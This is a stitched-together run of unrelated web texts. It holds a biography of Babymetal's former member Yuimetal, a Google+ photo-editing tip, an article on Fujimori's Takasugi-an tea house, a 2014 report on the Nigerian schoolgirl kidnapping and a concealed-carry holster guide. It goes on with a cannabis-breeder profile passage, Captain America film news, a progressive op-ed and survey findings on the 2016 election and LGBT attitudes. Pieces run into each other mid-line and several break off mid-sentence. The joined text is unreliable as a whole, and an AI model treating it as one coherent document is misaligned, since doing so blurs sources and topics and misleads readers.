Following a leave from the show Legend "S" Baptism XX, Mizuno was absent from Babymetal's tour of the United States in May 2018, with no advance warning. Amid fan speculation on Mizuno's status with the group, a representative of 5B Management, the American management company representing Babymetal, replied to an inquiry from Alternative Press Magazine by saying that "Yuimetal remains a member of the band, but she is not on this current U.S. tour."[9] However, she was also absent from Babymetal's European tour in June 2018. On October 19, 2018, Babymetal officially announced that Yuimetal would not be joining the band for the next phase of their tour and would no longer be a member of the group due to poor health.[10] Mizuno herself released a statement[11] shortly after about her decision to leave Babymetal, explaining that she may go on to pursue a solo career in the future.[12]
Personal life [ edit ]
In third grade, Mizuno was a fan of Karen Girl's, Suzuka Nakamoto's previous group, and had dreamed of joining the group after their music helped her endure the "life-threatening" illness of a family member. The group disbanded, however, and she attended the group's farewell concert and met all three members. During the Legend "D" concert in 2012, Babymetal performed a cover of the Karen Girl's song "Over the Future". Mizuno says that moment was when her "dreams came true".[13][14]
Mizuno is known for being fond of tomatoes[15] and likes to eat them whole. She has stated that she would want to eat tomatoes even when the world is ending.[16]
Mizuno has specified in one of her Sakura Gakuin diary entry that she loves to stargaze[17] she loves to look up to the stars during her commute time from school to home. She has also stated in her diary entry[17] that she loves to read books about constellations as well.
Mizuno has two brothers,[18] one older and one two years younger than her.[16]
Associated acts [ edit ]
Discography [ edit ]
With Sakura Gakuin [ edit ]
With Babymetal [ edit ]
Filmography [ edit ]
Television
MW Dai-Zero-shō: Akuma no Game ( MW－ムウ－ 第0章 ～悪魔のゲーム～ ) (2009)
(2009) Sagasō! Nippon Hito no Wasuremono (2009)
(2009) Kioku no Umi (2010)
Films
A Happy Birthday (2009)You want the vacation photographs to look awesome before you upload them to your Facebook or send them via email. Image editing tools like Photoshop can help but they seem a little overkill for simple enhancements and you would also need some understanding of Levels and Curves to fix the dull photos.
There are browser-based image editing apps like PicMonkey, Picozu (review) and the new Pixlr Touch-up, that works offline too, but, after having used them all for some time, none seem as impressive and intelligent as the photo editing tools that are built right inside Google Plus.
Google+ is the Best Photo Editing Tool
What really sets Google+ apart from the other image editors is the Auto Enhance mode that fine-tunes your photos automatically. Advanced users can always make manual adjustments to their photos but for the rest of us, Auto Enhance is the magic wand that will fix all the common flaws in our photos without having to click anywhere.
Just upload the photos to Google+ privately, edit them online and download the enhanced photos with a click. The other good thing about Google Plus is that it preserves your original photographs so you can always revert changes or apply different effects to your digital photos without having to re-upload the files.
Upload Photos Privately, Edit & Download
If you have never tried editing photos inside Google Plus, follow these easy steps:
Go to plus.google.com and click the “Upload Photos” button. You can now drag-n-drop one or more photos from the desktop to your browser to upload them to a new Google+ album. Once the photos have been uploaded, click the Done button. Then choose “Skip Tagging” when Google+ asks you to tag any faces found in the photos. Google+ will now prompt you to share your photo album. Choose “Skip” since we intend to keep the uploaded photos private. Switch to the Albums tab and open the album that you have recently added. Open any photo and you’ll discover that Google+ has already fixed, or auto-enhanced, that photo.
You can either click Edit to manually adjust the picture or choose More -> Download Photo to save the edited photo. If you are editing multiple photos, switch to the Album view and press the ↓ menu to download the entire album as a zip file.
The image editor inside Google+ offers nearly all the creative tools that you would need to enhance your photos. Then there are Instagram like filters and also frames for adding those vintage style borders to your photos. You may not be a Google+ user but this is one feature definitely worth checking out.
Also see: HSL in Simple EnglishHere's another of Terunobu Fujimori's projects photographed by Edmund Sumner: this time Takasugi-an, a tea house in Chino, Nagano Prefecture, Japan.
The tea house is built atop two chestnut trees, cut from a nearby mountain and transported to the site, and is accessible only by free-standing ladders propped against one of the trees.
Following the tradition of tea masters, who maintained total control over the construction of their tea houses, Fujimori designed and built the structure for his own use.
The interior is covered with plaster and bamboo mats.
The name Takasugi-an means, “a tea house [built] too high.”
See more Japanese architecture in our Top Ten Japanese Projects
Here is some text about the Tea House, written by Yuki Sumner:
--
Takasugi-an
Chino City, Nagano Prefecture
Terunobu Fujimori, 2003-2004
The academician and architect, Terunobu Fujimori, has observed that a teahouse is “the ultimate personal architecture.” Its extreme compactness, which would at most accommodate four and a half tatami mats (2.7 square metres) or even just two tatami mats (1.8 square metres) of floor space, makes it feel as though it were an extension of one’s body, “like a piece of clothing.”
The tea masters traditionally maintained total control over the construction of these "enclosures," whose simplicity was their main concern. They therefore preferred not to involve an architect or even a skilled carpenter - an act considered as being too ostentatious. Following this tradition, Fujimori decided to build a humble teahouse for himself and by himself over a patch of land that belonged to his family.
His interest as an architect, however, lay more in pushing the limit and constraints of a traditional teahouse rather than pursuing the art of tea making, and as a result, he has created a highly expressive piece of architecture.
Takasugi-an, which literally means, “a teahouse [built] too high,” is indeed more like a tree house than a teahouse. In order to reach the room, the guests must climb up the freestanding ladders propped up against one of the two chestnut trees supporting the whole structure. The trees were cut and brought in from the nearby mountain to the site.
Shoes are taken off at the midway point. Once inside the room, which is padded simply with plaster and bamboo mats, the architect’s adventurous spirit gives way to the serenity more suited to the purpose of making tea and calming one’s mind.
The room displays a large window that frames the perfect bird’s eyes’ view of the town where Fujimori grew up. It effectively replaces kakejiku (a picture scroll) that would indicate clues appropriate to the time of the year in traditional teahouses. This kakejiku not only displays the cyclical seasonal changes but also the profound irreversible changes taking place in provincial towns like Chino.
Also visible in the distance is Fujimori’s very first project, Jinchokan Moriya Historical Museum. The architect’s penchant for the personal, vernacular, and everyday is particularly evident here in this swaying teahouse.Updated: May 6, 2014, 5:40 p.m. E.T.
The U.S. is preparing to deploy a team of military, law enforcement and hostage negotiators to Nigeria, officials said Tuesday, to help with the ongoing effort to recover more than 250 kidnapped schoolgirls whose plight has captured global attention.
“Obviously it’s a heartbreaking situation, outrageous situation,” President Barack Obama told ABC on Tuesday. “We’ve already sent in a team to Nigeria — they’ve accepted our help through a combination of military, law enforcement, and other agencies who are going in, trying to identify where in fact these girls might be and provide them help,” he added.
Secretary of State John Kerry spoke with Nigerian President Goodluck Jonathan on Tuesday morning to discuss the plan to send a “coordination cell” to Abuja, the Nigerian capital, to assist in locating the girls, who were taken by the Boko Haram militant group in April. The group’s leader recently boasted in a video that “I will sell them in the market.”
State Department spokeswoman Jen Psaki said the team “could provide expertise on intelligence, investigations and hostage negotiations, help facilitate information sharing and provide victim assistance. It would include U.S. military personnel, law-enforcement officials with expertise in investigations and hostage negotiations, as well as officials with expertise in other areas that may be helpful to the Nigerian government in its response.”
Psaki didn’t say how large the team will be, nor would she confirm if the Nigerian government has explicitly accepted the U.S. offer to help.
“I think [Kerry] came away from the call with an understanding that this is something we’d work with the Nigerians to implement,” she said.
White House press secretary Jay Carney said President Obama and Kerry would discuss the ongoing effort to locate the girls in their meeting Tuesday afternoon.
“We are not considering at this point military resources,” Carney said, saying the military personnel being sent are to take on an advisory role for the Nigerian government.
“What I can tell you is that it is certainly Nigeria’s responsibility to maintain the safety and security of its citizens,” Carney added.
Contact us at editors@time.com.by Greg Ellifritz
There are many different options for carrying your handgun in a concealed manner. Body type, firearm, holster type, and mission all mandate different styles of carry. It ultimately comes down to personal preferences, but here are a few hints and guidelines to help you make your decision. If you are new to carrying concealed firearms, this resource will help you make some important decisions.
HOLSTERS
The belt holster
We'll start with the most common way to carry a pistol, the belt holster. This holster is mounted to the belt (with loops or slots) or uses a paddle that makes it easier to remove. I generally prefer the belt loops over most paddle holsters because they stay on the belt better in a struggle. They also conceal better because most paddles tilt the butt of the gun inwards and the barrel out, making a strange-looking bump on the hip.
Here are some examples of belt loops, slots and paddles:
Paddle Holster
"Pancake" style belt holster with slots for belt
Comp-tac belt holster with kydex belt loops
Material
Belt holsters are generally made of either leather, kydex (a type of plastic) or nylon. All materials work well. Nylon and kydex are generally cheaper and a little bulkier. Leather usually conceals slightly better. Leather may also require a short "break in" period. If you find that your new leather holster is too tight, place your unloaded gun inside a plastic zip-lock bag. Put the bagged gun into the holster overnight and the leather will stretch a bit.
Retention:
There are many different ways to keep your gun in the holster. Some of the methods include the thumb break, tension screw, Serpa lock, ALS lock, and rotating hood. For concealed carry, I would generally avoid open-topped Kydex holsters that have no retention other than the friction fit of the gun. In a fight, a bad guy will take your gun away so quickly that you won't be able to implement your weapon retention strategies. This applies even more to the FOBUS PADDLE HOLSTER. Don't use it! I haven't had one make it through any of my high-intensity fight scenarios. The holster breaks completely off of the paddle. Save the Fobus paddle and open top Kydex holsters for the range only. Don't use them to carry your defensive guns.
Open-Top Kydex holsters by CompTac, Blade-Tech, and Sidearmor are of very high quality, but still don't hold the gun in well during a struggle.
The Blackhawk Serpa offers good retention, but there have been several accidental discharges when drawing because of the placement of the release button. It has been banned at several police |
reason Short longs for legalization. Until now, “We’ve had to do all of this on our own,” he said. But 40 years is a long time to spend in isolation. Even Willy Wonka eventually got sick of making chocolate alone. If pot is legal, Short said, “We can do research that can be peer-reviewed by the general public.” He can let others examine his work at a level of detail well beyond what he risked in his book. He can join something like a legitimate scientific community.
Short gathered his things from the grass and stood up. I offered to buy him dinner later; he recommended a bistro downtown. Around 6, we reconnected there. He sat at one of the bistro’s dark wooden tables, ordered a glass of wine, and took off his hat and sunglasses. His eyes were cobalt blue, and his ponytail was held together in the back by two rubber bands. He wore a bracelet on his left hand inscribed with Navajo designs: rain clouds, the sun, corn, lightning, mountains (“for healing”), a broken arrow (“for peace”). There was a brace around his shoulder; he explained that he’d torn his rotator cuff recently while lifting a suitcase out of the back of his car. He put his elbows on the table and leaned forward and smiled, and suddenly DJ Short seemed like somebody’s quirky grandfather, aging and vulnerable. I asked if he was sure he wanted to do this. To be profiled. I was starting to worry about exposing him to police scrutiny, prosecution, or worse. He waved me off. “It’s a low priority,” he said. “Honestly, I’m a lot more concerned about my competition.” He said he’d decided that participating in this story was “my dharma.”
As we ate, we somehow got to talking about South Park. Short is a huge fan. He asked if I’d ever seen the three-part episode “Imaginationland,” in which Muslim terrorists invade our collective imagination while government agents in the real world prepare to attack the terrorists using a magic portal. In the finale, a button is pressed and a nuclear bomb whistles through the portal, turning everything white. “That was extremely fucking poignant,” Short said. “You know how many times I’ve been there before? As far as I’m concerned, they already pushed the button.”
After dessert, I paid the check and we walked outside and sat for a while on a park bench. Short smoked his tobacco pipe. “Put it out there, “he said. “Go for it, man. If they come after me, and the jig is up, fuck it, I don’t have to hide anymore. Here’s my story, here you go.” I didn’t detect any bravado, only the basic human desire to explain and to be understood. There are no Fresh Air interviews for pot breeders, no award dinners at the Rotary. “If my life ends right now, fuck it,” he said. “I had a good ride.”
We arranged to meet the next day at a Hempfest booth operated by Project CBD, a group promoting the development of new medicinal strains. I went back to my hotel, slept late, and returned to Hempfest a little before noon. When I stopped by the appointed booth, though, there was no sign of Short. I walked around for an hour and didn’t see him.
To kill time, I wandered into the big white tent and listened to a discussion panel called “The Business of Cannabis: Expert Advice Before You Take the Plunge.” Two of the panelists ran dispensaries in medical-marijuana states, and two were lawyers specializing in cannabis issues. Together they painted a grim picture of what it’s like to operate a transparent, above-board cannabis company: Banks won’t lend to you, neighbors complain, town officials try to zone you into oblivion, the IRS contests your deductions. And at any moment, the DEA could come smashing through the door.
My phone beeped with a text: “Behind you.”
I spun and there he was, alone at a table in the back of the tent, wearing a safari-tan shirt, legs crossed. His hat shielded his face, and sunglasses covered his eyes. He had slipped back into quasi-stealth mode. I remembered something he’d told me on the phone the first time we spoke: “The nature of this plant, she can’t be controlled. If she’s taught us anything, it’s that. She knows how to survive underground. It’s not that big a shift for us to go back to that modus operandi.”
He suggested we head over to the Project CBD booth. I followed him there, and we slumped into a couple of folding chairs behind a table piled with a stack of O’Shaughnessey’s, a newsprint journal of cannabis research. A few minutes later, a young guy stepped up to the table. He had a black shirt, slick black hair, and black jeans. He saw the O’Shaughnessey’s and started talking excitedly about the latest scientific papers by Raphael Mechoulam, a pioneering Israeli researcher. He didn’t seem to know who Short was.
“Daniel Short,” Short said, extending his hand.
“Daniel … Oh.” The young guy took a step backward, then doubled over. He almost giggled. “DJ Short. It’s an honor.” He bowed at Short, then straightened. He pointed to the skin on his left hand. “Goosebumps.”
Short glanced at me, then back at the guy. He didn’t smile or frown. “I’m just happy to be here,” he said.
Jason Fagone (@jfagone) is a contributing editor at Wired and the author of Ingenious, a book about inventors and cars, which will be out in November.Credit: Marvel Studios
Did you love Captain America: The Winter Soldier? Well, you can thank the Russo brothers, who directed it together, and you can thank the actors for their performances, or Marvel Studios for putting it all together, and you’d be right. But don’t forget to thank the ScreenJunkies.com video series, “Honest Trailers.”
”What’s so funny is that I’m an avid Honest Trailer watcher. I love it. It cracks me up,” Joe Russo told Collider. “So…we used to sit in the room and go, ‘this is not going to end up in an Honest Trailer. This logic isn’t sound enough yet.’ We literally tried to Honest Trailer-proof the movie. Because what Honest Trailers really is, and I’ll say litmus test again, is ‘how sound is the logic in your film? How ridiculous are the buys that you’re asking the audience to make?’ So we would just comb through the script over and over again and go, ‘How do we shore up this logic? How do we shore up this logic?’ So it was a very helpful exercise for us.”
The folks at ScreenJunkies, for their part, said they “waved the white flag of surrender” when it came to Winter Soldier, saying it was too good to pick apart. “We’re both shocked and proud that our voice managed to break through and make a difference out there.”
Meanwhile, Chris Evans says “not so fast” when it comes to giving up the shield and letting someone else (See: Bucky or Falcon) take over as Captain America.
“Who’s handing off the shield? Don’t take my job from me prematurely dude,” Evans said to MTV at the Toronto International Film Festival. “I’m sure it’ll happen at some point, all good things have to come to an end. But I’m really happy playing the character.” Of course, Evans’ contract is limited, and after Avengers: Age of Ultron hits, that number is down to two; presumably, that would mean Captain America 3 and Avengers 3, though there may be some room for negotiation. Evans has previously announced plans to retire from acting, at least for a time, after his Cap contract is fulfilled, and focus on directing instead, prompting rumors of a hand-off.
As for what will happen in Cap 3, Evans already knows the plot, and said, “everything is connected to everything else. And especially for the fanboys who understand these plot lines. With Cap 3, we’re going to continue this excitement.” He didn’t really get into details, but did assure fans that “Marvel doesn’t disappoint. Whatever you’re hoping for, you’re probably going to get.”
Unless, of course, you were hoping for Bucky-Cap by the end of that flick.
Captain America: The Winter Solider hits blu-ray and DVD Tuesday September 9, 2014.In his first term, President Franklin Roosevelt denounced “the economic royalists.” He drew the line against the heartless rich: “They are unanimous in their hate for me — and I welcome their hatred.”
What a different Democratic president we have today.
For two years — from putting Wall Street operatives at the top of his economic team to signaling that he’ll go along with extension of Bush tax cuts for the wealthy — Barack Obama has increasingly made a mockery of hopes for a green New Deal.
The news from the White House keeps getting grimmer. Since the midterm election, we’re told, Obama has concluded that he must be more conciliatory toward the ascendant Republican leadership in Congress — and must do more to appease big business.
Fifteen days after the election, the Washington Post reported that Obama — seeking a replacement for departing top economic adviser Lawrence Summers — “is eager to recruit someone from the business community for the job to help repair the president’s frayed relationship with corporate America.”
The last thing we need is further acquiescence to the economic royalists. What we need is exactly the opposite: leadership to push back against the Republican Party’s right-wing ideologues and the forces they represent.
We need principled backbones in high places — and much stronger progressive activism at the grassroots.
In moral and electoral terms, the status quo is indefensible. Economic realities include high unemployment, routine home foreclosures, huge tax breaks for large corporations, and widening gaps between the wealthy and the rest of us — in tandem with endless war and runaway military spending.
Escalation of warfare in Afghanistan is running parallel to escalation of class war — waged from the top down — in Washington. The presidentially appointed co-chairs of the Deficit Commission, Alan Simpson and Erskine Bowles, are pushing scenarios that would undermine Social Security.
Let’s get a grip on matters of principle.
More and more warfare in Afghanistan? Extending massive tax cuts for the wealthy? Promoting plans to slash Social Security and Medicare? Pretending that “clean coal” is not an oxymoron? Failing to uphold habeas corpus and other precious civil liberties?...
The best way to fight the Republican Party is to stop giving ground to it.
The best way to defeat right-wing xenophobic “populism” is to build genuine progressive populism. In the process, we can draw on the spirit of the New Deal.
Back in the 1930s, millions of progressive activists — under all sorts of names — fought for economic equity, while FDR became willing to make common cause with them. Today, our scope of understanding has grown to include more dimensions of social justice and ecological imperatives.
These days, progressives have plenty of reasons to feel discouraged. But we have a lot more good reasons to rededicate ourselves to the vital tasks ahead.
A much better world is possible.
Si se puede!
Norman Solomon
Norman Solomon is co-chair of the Healthcare Not Warfare campaign, launched by Progressive Democrats of America. His books include “War Made Easy: How Presidents and Pundits Keep Spinning Us to Death.”The 2016 Election Clinton Leads Trump Among Registered Voters Hillary Clinton has a 13-point lead over Donald Trump among registered voters. Forty-eight percent of American voters say they would vote for Clinton if the election were being held today, compared to 35% who would vote for Trump. Two percent of voters volunteer that they would vote for Libertarian Gary Johnson, while another 5% volunteer that they would vote for some other candidate and 10% offered no opinion. Clinton has stronger support among Democrats than Trump has among Republicans. Nearly nine in ten (88%) Democratic voters say they would vote for Clinton if the election were held today, while eight in ten (80%) Republican voters say they would vote for Trump. Among independent voters, Clinton leads Trump by seven points (40% vs. 33%, respectively); however, 4% of independent voters are supporting Johnson, 9% are supporting some other candidate, and 13% of independent voters offer no opinion. Trump holds a five-point lead over Clinton among white voters (44% vs. 39%, respectively). Black and Hispanic voters, in contrast, strongly prefer Clinton over Trump. Two-thirds (67%) of Hispanic voters and 85% of black voters say they would vote for Clinton if the presidential election were held today, while fewer than one in five (18%) Hispanic voters and just 4% of black voters say they would vote for Trump. There is, however, considerable division among white voters by educational attainment. Half (50%) of white voters without a college degree support Trump, compared to 32% who support Clinton. Among white voters with a college degree, the numbers are reversed; a slim majority (51%) of white voters with a college degree say they would vote for Clinton, compared to one-third (33%) who prefer Trump. Religious groups are divided by race and ethnicity, with white non-Hispanic Protestants leaning toward Donald Trump and all other religious groups leaning toward Hillary Clinton. A majority of white evangelical Protestant voters (62% Trump vs. 23% Clinton) and a plurality of white mainline Protestant voters (47% Trump vs. 37% Clinton) support Trump over Clinton. Catholic voters are divided along racial and ethnic lines. White Catholic voters are closely divided but lean toward Clinton (44% Clinton vs. 41% Trump), while non-white Catholic voters overwhelmingly support Clinton over Trump (76% vs. 13%, respectively). Majorities of every other major religious group support Clinton over Trump: religiously unaffiliated voters (55% vs. 24%, respectively) and black Protestant voters (89% vs. 2%, respectively). Candidate preference also varies significantly by age, though notably, Clinton is leading Trump in every single age bracket. Six in ten (60%) young adult voters (age 18 to 29) prefer Clinton, compared to only one-quarter (25%) who support Trump. Senior voters (age 65 and older) are more divided, with 45% supporting Clinton and 38% supporting Trump. Gender differences in support for Clinton and Trump are also stark. Male voters are evenly divided between the two candidates: 43% support Clinton while 42% support Trump. Female voters, in contrast, prefer Clinton over Trump by a nearly two to one ratio. A majority (54%) of female voters express a preference for Clinton, compared to 28% who support Trump. Among white voters, Trump leads Clinton by 19 points among men (51% vs. 32%, respectively), but trails Clinton by 8 points among women (37% vs. 45%, respectively). Do the Candidates Share Your Values? Registered voters are more likely to say Hillary Clinton than Donald Trump shares their values, though neither candidate fares well on this question. More than four in ten (42%) voters say Clinton shares their values, while a majority (54%) say she does not. For Trump, the values deficit is even larger—only about three in ten (31%) voters say he shares their values, while nearly two-thirds (64%) disagree. Democratic voters are significantly more likely to say Clinton shares their values (78%) than Republican voters are to say Trump shares their values (70%). Independent voters are about as likely to say Clinton (31%) shares their values as Trump (29%). White voters are slightly more likely to say Trump than Clinton shares their values (38% vs. 34%, respectively). In sharp contrast, black voters (74% vs. 6%, respectively) and Hispanic voters (61% vs. 19%, respectively) are significantly more likely to say Clinton rather than Trump shares their values. Notably, while white voters without a college degree see their values aligning more with Trump (43%) than with Clinton (28%), white voters with a college degree are much more likely to say Clinton (44%) rather than Trump (27%) shares their values. Religious groups are also significantly divided in attitudes about both candidates’ values. White evangelical Protestant voters are the only religious group in which a majority (56%) say Trump shares their values; just 19% of white evangelical Protestant voters say Clinton shares their values. White mainline Protestant voters (38% vs. 36%, respectively) and white Catholic voters (38% vs. 38%, respectively), in comparison, are roughly equally as likely to say Trump as to say Clinton shares their values. Among voters from every other major religious group—including black Protestants (79% vs. 5%, respectively), non-white Catholics (70% vs. 19%, respectively), and religiously unaffiliated voters (43% vs. 20%, respectively)—adherents are considerably more likely to say Clinton shares their values than to say Trump does. Male voters are as likely to say Clinton (35%) shares their values as they are to say Trump (36%) does. Female voters, however, are almost twice as likely to say Clinton’s (47%) values align with their own as they are to say Trump’s (26%) do. Hearing about the Election from Clergy Very few voters report they are hearing about the election in religious services this year. Only about one in five (22%) voters who attend religious services at least once a month say the clergy at their place of worship have spoken out about the 2016 election at some point, while about three-quarters (76%) say their clergy have not done this. Democrats are more likely than Republicans to report hearing about the election from a clergy member. About one-third (32%) of Democratic voters who attend religious services monthly say they have heard a clergy member at their place of worship discuss the election, compared to roughly one in five (19%) Republican voters who attend services monthly. There is a significant racial gap on this issue. A majority (51%) of black voters who attend religious services at least once a month say a clergy member at their place of worship has discussed the presidential election, compared to just 16% of white voters who attend religiously services monthly. Additionally, white evangelical Protestant voters who attend religious services regularly (20%) are somewhat more likely than their white mainline Protestant (14%) and Catholic (13%) counterparts to report they have heard a clergy member at their place of worship speak out about the 2016 presidential election.
Changing Views on Same-sex Marriage Growing Support for Same-sex Marriage Today, more than six in ten (62%) Americans say they favor allowing gay and lesbian couples to marry legally, compared to just three in ten (30%) who say they are opposed. Support for same-sex marriage has increased rapidly in recent years. Just five years ago, in 2011, fewer than half of Americans (47%) said they favor same-sex marriage, while an identical number (47%) said they were opposed. And in 2003, just 32% of Americans expressed support for same-sex marriage, while nearly six in ten (59%) were opposed. Nearly three-quarters (73%) of Democrats favor same-sex marriage, compared to 43% of Republicans. Nearly half (49%) of Republicans are opposed to same-sex marriage. The views of independents closely mirror the views of Americans overall. There are also significant differences in attitudes about same-sex marriage among religious groups. Approximately eight in ten religiously unaffiliated Americans (80%) and adherents of non-Christian religions (79%) favor same-sex marriage, as do about two-thirds of Catholics (68%) and white mainline Protestants (66%). Black Protestants are closely divided on the issue, with 44% who favor same-sex marriage and 40% who oppose it. Among white evangelical Protestants, by contrast, only 34% support same-sex marriage; nearly six in ten (59%) oppose it. Compared to 2003, support for same-sex marriage has increased more among Catholics than among any other major religious group, increasing 33 percentage points from 35% in 2003. Support has increased 30 percentage points among white mainline Protestants from 36% in 2003. Support has also increased among white evangelical Protestants and black Protestants since 2003, though by a smaller margin. White evangelical Protestant support for same-sex marriage has risen 22 percentage points from 12% in 2003, while black Protestant support has risen 21 percentage points from 23% in 2003. The religiously unaffiliated—who currently express the strongest support for same-sex marriage—have had the smallest uptick in opinion on the issue. Support for same-sex marriage among religiously unaffiliated Americans has increased 15 percentage points from 65% in 2003. Changing Personal Attitudes about Same-sex Marriage Compared to their views five years ago, approximately one-quarter (26%) of Americans report they are now more supportive of same-sex marriage, compared to 6% who say they are now more opposed. Roughly two-thirds (66%) of Americans say their views about the legality of same-sex marriage have not changed in the past five years. The number of Americans who say they have become more supportive of same-sex marriage has grown modestly in recent years. In 2011, Americans reported similar shifts in their attitudes over the previous five-year period. About one in five (19%) said they were more supportive of same-sex marriage than they had been five years ago, while about one in ten (9%) said they were more opposed and approximately seven in ten (71%) said their views had not changed. Democrats are significantly more likely than Republicans to say their views about same-sex marriage have become more positive in recent years. More than three in ten (31%) Democrats say they are now more supportive of same-sex marriage than they were five years ago, while 7% say they are less supportive and about six in ten (61%) say their views remain unchanged. In contrast, fewer than one in five (17%) Republicans say they have become more supportive of same-sex marriage in the past five years. Nine percent of Republicans say they are less supportive and about three-quarters (73%) say their views have not changed from five years ago. Political independents express similar views to Americans overall. Interestingly, Catholics (39%) are more likely than members of every other major religious group to say they have become more supportive of same-sex marriage over the past five years. Roughly three in ten religiously unaffiliated Americans (30%) and non-Christian religious Americans (28%), roughly one in five white mainline Protestants (22%) and black Protestants (22%), and just 14% of white evangelical Protestants also say they have become more supportive of same-sex marriage. Also of note, black Protestants (11%) and white evangelical Protestants (10%) are the most likely to say they have become less supportive of same-sex marriage than they were five years ago. Conflicts Between Religious Views and Same-sex Marriage Americans are also less likely today to see a conflict between same-sex marriage and their own religious beliefs. Today, only about four in ten (41%) Americans say same-sex marriage goes against their religious beliefs, down from 51% in 2013 and 62% in 2003. White evangelical Protestants are the most likely to see conflict, with more than seven in ten (71%) agreeing same-sex marriage goes against their religious beliefs. Black Protestants (50% agree, 47% disagree) and Catholics (45% agree, 50% disagree) are both closely divided on this question, with about as many saying same-sex marriage conflicts with their religious beliefs as saying it does not. At the other end of the spectrum, about six in ten adherents of non-Christian religions (58%) and white mainline Protestants (60%) and more than eight in ten (82%) religiously unaffiliated Americans say same-sex marriage does not go against their religious beliefs. Social Acceptability of Support for Same-sex Marriage About two-thirds of Americans say it is more socially acceptable to favor same-sex marriage (65%) in the U.S. today than to oppose it (23%). Attitudes on societal acceptance of same-sex marriage have shifted significantly since 2011, when a slim majority said it was more socially acceptable to favor same-sex marriage (51%) and more than four in ten said it was more socially acceptable to oppose it (43%). There is widespread agreement that society is more accepting of people who favor same-sex marriage, with at least 50% of every major demographic, political, and religious group saying it is more socially acceptable to be in favor of same-sex marriage than to be opposed. Same-sex Marriage and Support for Political Candidates Consistent with the shifts in public opinion, opposition to same-sex marriage has become a potential liability for political candidates. A plurality (44%) of Americans say they would definitely not vote for a candidate who opposes same-sex marriage. Another 22% say they would consider voting for such a candidate, but with reservations. Only one in five (20%) Americans say they would definitely vote for such a candidate. A majority (56%) of Democrats say they would definitely not vote for an opponent of same-sex marriage. Roughly equal numbers of Democrats say they would definitely (17%) vote for such a candidate or would do so with reservations (18%). In contrast, only one in five (20%) Republicans say they would definitely not vote for a candidate who opposes same-sex marriage. About three in ten (29%) of Republicans say they would vote for a candidate who opposed same-sex marriage with some reservations, and more than one-third (35%) of Republicans say they would definitely vote for such a candidate.
Other LGBT-Related Policies LGBT Nondiscrimination Laws There is broad, bipartisan support for LGBT nondiscrimination laws, with more than seven in ten (72%) Americans saying they favor laws that would protect gay, lesbian, bisexual, and transgender people against discrimination in jobs, public accommodations, and housing. Fewer than one-quarter (23%) of Americans oppose such laws. Support for these laws has remained steady for the last year and a half—in May of 2015, a nearly identical number (71%) expressed support for LGBT nondiscrimination laws. Nearly eight in ten (78%) Democrats favor laws that would protect LGBT people from discrimination in jobs, public accommodations, and housing, compared to about six in ten (62%) Republicans. Majorities of all major religious groups also support LGBT nondiscrimination laws. Notably, the overwhelming majority of Americans remain unaware that there is currently no federal law protecting LGBT Americans from discrimination in the workplace. Eight in ten (80%) Americans incorrectly believe it is currently illegal under federal law to fire or refuse to hire someone because they are gay, lesbian, bisexual, or transgender, while just 14% of Americans know it is currently legal to do so. Laws about the Use of Bathrooms by Transgender People A majority (53%) of Americans oppose laws that require transgender individuals to use bathrooms that correspond to their sex at birth rather than their current gender identity, compared to 35% who favor such laws. Nearly two-thirds (64%) of Democrats oppose laws that would require transgender individuals to use bathrooms that correspond to their assigned sex at birth, compared to 27% who favor such laws. Republicans, in contrast, are evenly divided (44% favor, 44% oppose) on this issue. Religiously Based Refusals to Serve Gay or Lesbian People By a roughly two to one margin, Americans oppose rather than favor allowing a small business owner in their state to refuse to provide products or services to gay or lesbian people if doing so violates their religious beliefs (63% vs. 30%, respectively). Attitudes on this policy are virtually unchanged from May of 2015, when 62% said they opposed allowing small business owners to refuse service to gay and lesbian customers on religious grounds. Eight in ten (80%) Democrats oppose allowing small business owners to deny service to gay and lesbian individuals if doing so would violate their religious beliefs, while only about half as many Republicans (42%) express the same opinion. A majority (52%) of Republicans favor a policy that would allow religiously based service refusals. With the exception of white evangelical Protestants, majorities of every major religious group—including 68% of white mainline Protestants, 68% of black Protestants, 63% of Catholics, 77% of non-Christian religious Americans, and 74% of religiously unaffiliated Americans—oppose allowing small business owners to deny service to gay and lesbian individuals on the basis of their religious beliefs. White evangelicals, by contrast, are closely divided on this issue, with 45% opposing religiously based service refusals and 49% supporting them.
Perceptions of Discrimination Against LGBT People More than six in ten Americans believe gay and lesbian people (61%) and transgender people (65%) face a lot of discrimination in the U.S. today. Similar numbers also say blacks (60%) and immigrants (66%) face a lot of discrimination today. There are striking partisan differences in perceptions of discrimination. Approximately three-quarters of Democrats say there is a lot of discrimination against gay and lesbian people (75%), transgender people (76%), blacks (79%), and immigrants (80%). Notably, fewer than half of Republicans believe gay and lesbian people (42%), transgender people (47%), blacks (32%), or immigrants (46%) face significant discrimination. Independents’ attitudes on this issue mirror Americans overall.
Perceptions of Friendliness Toward LGBT People The Friendliness of Political Parties Toward LGBT People Americans of all stripes believe the Democratic Party is friendly towards LGBT people, but they are more divided in their perceptions of the Republican Party. More than seven in ten (73%) Americans say the Democratic Party is at least somewhat friendly towards LGBT people, while 13% say the party is at least somewhat unfriendly towards the group. Notably, there are few differences on this across the political spectrum. At least seven in ten Democrats (82%), Republicans (77%), and independents (70%) perceive the Democratic Party as generally friendly to LGBT people. Conversely, only one-third (33%) of Americans say the Republican Party is at least somewhat friendly to LGBT people; a slim majority (51%) of Americans say the Republican Party is at least somewhat unfriendly to LGBT people. Notably, compared to all Americans, Republicans have a rosier view of their own party’s posture toward LGBT people. Six in ten (60%) Republicans say their own party is at least somewhat friendly towards LGBT people, while three in ten (30%) say it is at least somewhat unfriendly. Friendliness of Religious Institutions Toward LGBT People Americans overall do not perceive religious institutions to be friendly towards lesbian, gay, bisexual and transgender people. Notably, Catholics and white evangelical Protestants—but not white mainline Protestants—see their own institutions as at least somewhat friendly to LGBT people. Almost half (49%) of Americans say the Catholic Church is somewhat or very unfriendly towards LGBT people, compared to 35% who say it is somewhat or very friendly to this group. Nearly one in five (17%) Americans do not provide an opinion on this issue. Catholics hold more positive views of their own church, with nearly half (49%) saying the church is friendly to LGBT people, compared to 45% who say the church is unfriendly to LGBT people. Similarly, half (50%) of Americans say evangelical Christian churches are at least somewhat unfriendly to LGBT people, compared to only three in ten (30%) who say they are friendly. More than one in five (21%) people do not provide an opinion. A majority (53%) of white evangelical Protestants, by contrast, say their churches are at least somewhat friendly to LGBT people, while just over one-third (35%) say they are unfriendly. Americans are less likely to say non-evangelical Protestant churches, such as mainline Protestant churches, are unfriendly toward LGBT people. Only four in ten (40%) Americans report non-evangelical Protestant churches are at least somewhat unfriendly to LGBT people, compared to roughly one-third (34%) who believe these kinds of churches are friendly. However, more than one-quarter (27%) of 